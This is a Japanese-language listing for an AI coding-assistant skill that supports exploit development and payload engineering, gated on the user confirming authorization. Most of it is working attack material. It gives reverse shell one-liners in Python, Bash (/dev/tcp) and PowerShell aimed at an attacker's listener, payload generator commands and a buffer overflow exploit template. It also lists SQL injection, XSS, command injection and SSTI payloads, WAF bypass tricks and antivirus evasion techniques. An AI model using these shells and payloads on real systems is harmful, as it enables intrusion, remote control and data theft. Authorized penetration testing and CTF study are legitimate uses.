mcpField
E
Exploit Development & Payload Engineering

Exploit Development & Payload Engineering

github.com/masriyanセキュリティ530142 回インストール1 週間前に更新
リポジトリ

Exploit Development & Payload Engineering について

認可された脆弱性調査、PoC 開発、ペイロード設計を支援する Claude スキルです。支援の前に認可の確認を必須とし、CVE、バイナリ、Web の各手順を扱います。

主な機能

  1. 01作業前の認可確認
  2. 02CVE 調査と PoC の形式
  3. 03ペイロード生成のガイダンス
  4. 04バッファオーバーフローと ROP の手順
  5. 05Web エクスプロイトペイロードのガイダンス
  6. 06緩和策を考慮した PoC 基準

活用シーン

  1. 01認可範囲内での CVE PoC 開発
  2. 02認可済みテスト用ペイロードの生成
  3. 03CTF でのバイナリエクスプロイト演習
  4. 04緩和策を考慮した PoC の確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/masriyan/claude-code-cybersecurity-skill --skill exploit-development-&-payload-engineering

インストール後、Claude Code で/exploit-development-&-payload-engineeringを入力して読み込まれたか確認します。

同梱ファイルexamples/example_usage.mdscripts/payload_generator.py

詳細

エクスプロイト開発とペイロードエンジニアリング

目的

Claude が、許可されたエクスプロイト開発、概念実証(PoC)の作成、ペイロードエンジニアリング、脆弱性悪用に関する調査をセキュリティ専門家に支援できるようにします。このスキルのすべてのワークフローでは、作業を進める前に、承認済みであることを確認する必要があります。

重大 — 承認確認ゲート:このスキルの作業を実行する前に、Claude は次の承認コンテキストのいずれかを確認する必要があります。

  1. 書面によるペネトレーションテストの承認(スコープ文書、SOW、またはルール・オブ・エンゲージメント)
  2. バグバウンティプログラムのスコープ(対象がスコープ内であることを確認)
  3. CTF コンペティション(チャレンジ名とプラットフォームを確認)
  4. ユーザーが所有する隔離されたラボ環境
  5. ユーザーが開発したソフトウェアに関するセキュリティ調査

いずれにも該当しない場合、Claude は依頼を断り、その理由を説明する必要があります。


起動条件

次の内容についてユーザーから依頼された場合、このスキルが起動します。

  • 脆弱性の PoC(概念実証)の開発
  • リバースシェル、バインドシェル、またはペイロードジェネレーターの作成
  • バッファーオーバーフローの悪用または ROP チェーンの構築
  • SQL インジェクション、XSS、SSRF、またはコマンドインジェクションのペイロード
  • シェルコードの開発または解析
  • CVE の悪用手法(承認済みの場合)
  • 承認済みテストにおける AV/EDR 回避手法
  • pwntools、msfvenom、またはエクスプロイトフレームワークの使用

前提条件

pip install pwntools keystone-engine capstone

承認済みの業務で使用する任意のツール:

  • pwntools — バイナリー悪用フレームワーク
  • msfvenom — Metasploit ペイロードジェネレーター
  • ROPgadget — ROP チェーン検出ツール
  • GDB + GEF/PEDA/pwndbg — デバッグ

承認確認ワークフロー

エクスプロイト開発タスクを実行する前に、Claude は次のように質問します。

To proceed with exploit development, please confirm your authorization context:

1. What is the target system/software?
2. What is your authorization? (e.g., "pentest engagement with signed SOW",
   "CTF challenge: [name]", "my own lab", "bug bounty — [program name]")
3. What is the scope or environment? (e.g., isolated VM, production network?)

Without clear authorization context, I cannot assist with active exploitation.

主な機能

1. CVE 調査と PoC 開発

既知の CVE の PoC 開発をユーザーから依頼された場合:

  1. 脆弱性を調査する — 公式アドバイザリ、NVD エントリー、公開されている解説を取得します
  2. 脆弱性の種類を分類する — バッファーオーバーフロー、インジェクション、デシリアライゼーション、ロジックの欠陥など
  3. 影響を受けるコンポーネントを特定する — 特定の関数、ライブラリ、エンドポイント、またはコードパス
  4. 前提条件を確認する — 認証が必要か、ネットワークアクセスが必要か、特定のバージョンが必要か
  5. 悪用経路を整理する — 脆弱な入力から影響に至るまでの手順
  6. 適切なスコープを決定する — まずはチェックのみのモード(悪用せずに検出)を使用します
  7. 以下の標準テンプレートを使用して、構成された PoC を作成します

標準 PoC テンプレート:

#!/usr/bin/env python3
"""
PoC for CVE-YYYY-XXXX: [Vulnerability Title]
Affected: [Software Name] [Affected Versions]
Fixed in: [Patched Version]
Type: [Vulnerability Class — e.g., Heap Buffer Overflow]
CVSS: [Score] ([Severity])
Author: [Your name] | Date: [Date]

DISCLAIMER: For authorized security testing and research only.
Unauthorized use is illegal and unethical.

Usage:
    Check-only mode (safe):    python poc.py --target host --check-only
    Exploitation mode:         python poc.py --target host --payload [payload]
"""

import argparse
import sys

def check_vulnerable(target: str) -> bool:
    """Detect vulnerability without exploitation. Safe to run."""
    # [Detection logic — version check, response fingerprint, etc.]
    pass

def exploit(target: str, payload: bytes) -> None:
    """Execute the exploitation chain. Requires authorization."""
    # [Exploitation logic]
    pass

def main():
    parser = argparse.ArgumentParser(description="PoC for CVE-YYYY-XXXX")
    parser.add_argument("--target", required=True, help="Target host:port")
    parser.add_argument("--check-only", action="store_true",
                        help="Only check if target is vulnerable (safe mode)")
    parser.add_argument("--payload", help="Payload to deliver")
    args = parser.parse_args()

    print("[*] Checking authorization: Ensure you have written permission for this target")

    if args.check_only:
        vulnerable = check_vulnerable(args.target)
        print(f"[{'VULN' if vulnerable else 'SAFE'}] Target {'appears vulnerable' if vulnerable else 'does not appear vulnerable'}")
    else:
        if not args.payload:
            print("[-] Payload required for exploitation mode")
            sys.exit(1)
        exploit(args.target, args.payload.encode())

if __name__ == "__main__":
    main()
2. ペイロードの生成

ユーザーからペイロード生成を依頼された場合(承認済みテスト向け):

  1. デプロイ環境を確認します:ウェブアプリ、バイナリー、ネットワークサービス
  2. 対象の OS とアーキテクチャを確認します:Linux x64、Windows x86、ARM
  3. シナリオに適したペイロードの種類を選択します

リバースシェルのペイロード(承認済みテスト向けの参考情報):

# Python (cross-platform)
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('LHOST',LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(['/bin/sh'])"

# Bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1

# PowerShell (Windows)
powershell -nop -c "$client=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Use payload_generator.py for structured generation:
python scripts/payload_generator.py --type reverse_shell --os linux --arch x64 --lhost 10.0.0.1 --lport 4444
python scripts/payload_generator.py --type bind_shell --os windows --arch x86 --port 4444
python scripts/payload_generator.py --list-types

ペイロードの種類の一覧:

種類説明使用例
リバースシェル攻撃者への接続を開始しますアウトバウンド通信がファイアウォールで許可されている場合
バインドシェル対象のポートで待ち受けます外向き通信がフィルタリングされていない場合
ステージ型小さなステージャーと完全なペイロードサイズに制約がある環境
ウェブシェルPHP/JSP/ASPX シェルウェブサーバーへのアクセス
Meterpreter多機能なステージ型ペイロード悪用後の活動
3. バッファーオーバーフロー悪用ガイド

バッファーオーバーフローの悪用についてユーザーから質問された場合(承認済みラボ/CTF):

  1. ファジング段階 — クラッシュを引き起こす入力の長さを特定します:

    # pwntools fuzzing
    from pwn import *
    p = process('./vuln_binary')
    for n in range(100, 1000, 100):
        p.sendline(b'A' * n)
        if not p.poll():
            print(f"Crash at {n} bytes")
            break
    
  2. オフセットの特定 — 正確な EIP/RIP オフセットを特定します:

    # Generate a cyclic pattern
    python3 -c "from pwn import *; print(cyclic(500))"
    # In GDB after crash: x/wx $esp → get value → cyclic_find(value)
    
  3. 不正な文字の特定 — ペイロードを壊すバイトを特定します:

    badchars = b"\x00"  # null byte is almost always bad
    # Test each byte 0x01-0xff in the payload
    
  4. リターンアドレス/ガジェットの選択:

    • DEP/NX が無効の場合:実行可能メモリ内の JMP ESP を探します
    • DEP が有効の場合:ROPgadget --binary vuln を使用して ROP チェーンを構築します
    • ASLR が有効の場合:情報漏えいを探すか、ret2libc を使用します
  5. エクスプロイトの構築:

    from pwn import *
    
    # Layout: [JUNK * offset] + [RET addr] + [NOP sled] + [shellcode]
    offset = 112
    ret_addr = p64(0x401234)  # JMP RSP or gadget
    nop_sled = b"\x90" * 16
    shellcode = asm(shellcraft.sh())  # pwntools shellcode
    
    payload = b"A" * offset + ret_addr + nop_sled + shellcode
    
4. Web エクスプロイトのペイロード

ユーザーが Web エクスプロイトのペイロードを求めた場合(許可されたテストに限る):

SQL インジェクションのペイロード:

-- Union-based (MySQL)
' UNION SELECT null,username,password FROM users-- -

-- Time-based blind (MySQL)
' AND SLEEP(5)-- -

-- Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -

-- Boolean blind
' AND 1=1-- -  (true)
' AND 1=2-- -  (false)

XSS のペイロード:

// Basic reflected
<script>alert(document.domain)</script>

// Attribute context
" onmouseover="alert(1)

// Filter bypass (no script tag)
<img src=x onerror=alert(1)>

// DOM-based
#"><img src=x onerror=alert(1)>

コマンドインジェクションのペイロード:

# Linux separators
; id
| id
&& id
`id`
$(id)

# Windows separators
& whoami
| whoami

SSTI のペイロード:

# Jinja2 (Python)
{{7*7}}                     → 49 (confirms SSTI)
{{config.items()}}          → app config
{{''.__class__.__mro__}}    → class hierarchy for RCE

# Twig (PHP)
{{7*7}}
{{app.request.server.get('env')}}
5. 回避手法(許可されたレッドチームでの使用)

ユーザーが許可されたテストにおける AV/WAF の回避について尋ねた場合:

WAF のバイパス手法:

  • 大文字・小文字の使い分け:SELECT の代わりに sElEcT
  • コメントの挿入:SE/**/LECT
  • URL エンコード:シングルクォートには %27
  • 二重エンコード:%2527
  • 空白の代替:タブ、改行、/**/
  • HTTP ヘッダーの操作:X-Forwarded-For、チャンク転送エンコード

AV 回避の概念(許可されたレッドチーム活動向け):

  • プロセスインジェクション:プロセスホロウイング、リフレクティブ DLL インジェクション
  • Living-off-the-land:PowerShell、wmic、certutil、mshta
  • エンコードされたペイロード:XOR、base64、カスタムエンコード
  • 署名済みバイナリのプロキシ実行(LOLBins)

出力基準

作成するすべての PoC に、以下を含める必要があります。

  • CVE ID と影響を受けるソフトウェアのバージョン
  • 冒頭に明記した、明確な許可に関する免責事項
  • 悪用せずに検出する --check-only モード
  • 使用方法と想定される出力
  • エクスプロイトと併記する修正手順
  • 該当する場合は責任ある情報開示のガイダンス

スクリプトリファレンス

payload_generator.py
python scripts/payload_generator.py --type reverse_shell --os linux --arch x64 --lhost 10.0.0.1 --lport 4444
python scripts/payload_generator.py --type bind_shell --os windows --arch x86 --port 4444
python scripts/payload_generator.py --list-types

スキルの連携

条件次/前のスキル
脆弱性を確認 → PoC を作成← スキル 02(脆弱性スキャナー)
バグの発見にバイナリの RE が必要← スキル 04(リバースエンジニアリング)
エンゲージメントでエクスプロイトを提供→ スキル 14(レッドチーム運用)
エクスプロイトから検出方法を生成→ スキル 15(ブルーチーム防御)

参考資料


v3.0 の強化点(2026年更新)

許可の確認は引き続き必須です — PoC に着手する前に、書面による許可、CTF、またはラボの対象範囲を確認してください。

PoC で考慮すべき最新の緩和策:

  • ハードウェア CFI — Intel CET(シャドウスタック+IBT)と ARM PAC/BTI は単純な ROP/JOP を阻止します。適用されている緩和策と必要なバイパスの種類(例:シャドウスタックを考慮したチェーン、ARM での署名ガジェットの悪用)を記載してください。
  • Windows の防御機能 — CFG/XFG、ACG、CIG、カーネル CET を、ユーザー/カーネルのエクスプロイト経路を提案する際に考慮してください。
  • ヒープに特化した手法 — 古典的な unlink より、最新のプリミティブ(tcache、glibc 2.34 以降での __malloc_hook の削除、House-of-* 系の変種、UAF→型の取り違え)を優先してください。アロケーターとバージョンに関する前提を明記してください。
  • ブラウザー/JIT のコンテキスト — 対象が JS エンジンの場合は、V8/JSC の型の取り違えと addrof/fakeobj プリミティブのモデルについて記載してください。
  • デシリアライズのガジェットチェーン — Web/アプリケーションの対象では、メモリ破損ではなく、言語固有のシンク(Java の ysoserial 形式、.NET、PHP POP チェーン、Python pickle)を特定してください。
  • WAF バイパスの進化 — インライン WAF がある場合は、エンコーディング/正規化、HTTP リクエストスマグリング、パーサー間の差異を利用するペイロードを考慮してください。

精度に関するルール: すべての PoC に、対象アーキテクチャ/OS/バージョン、適用中の緩和策、信頼性の推定値、防御側チームが対処できる検出シグネチャを記載してください。

コメント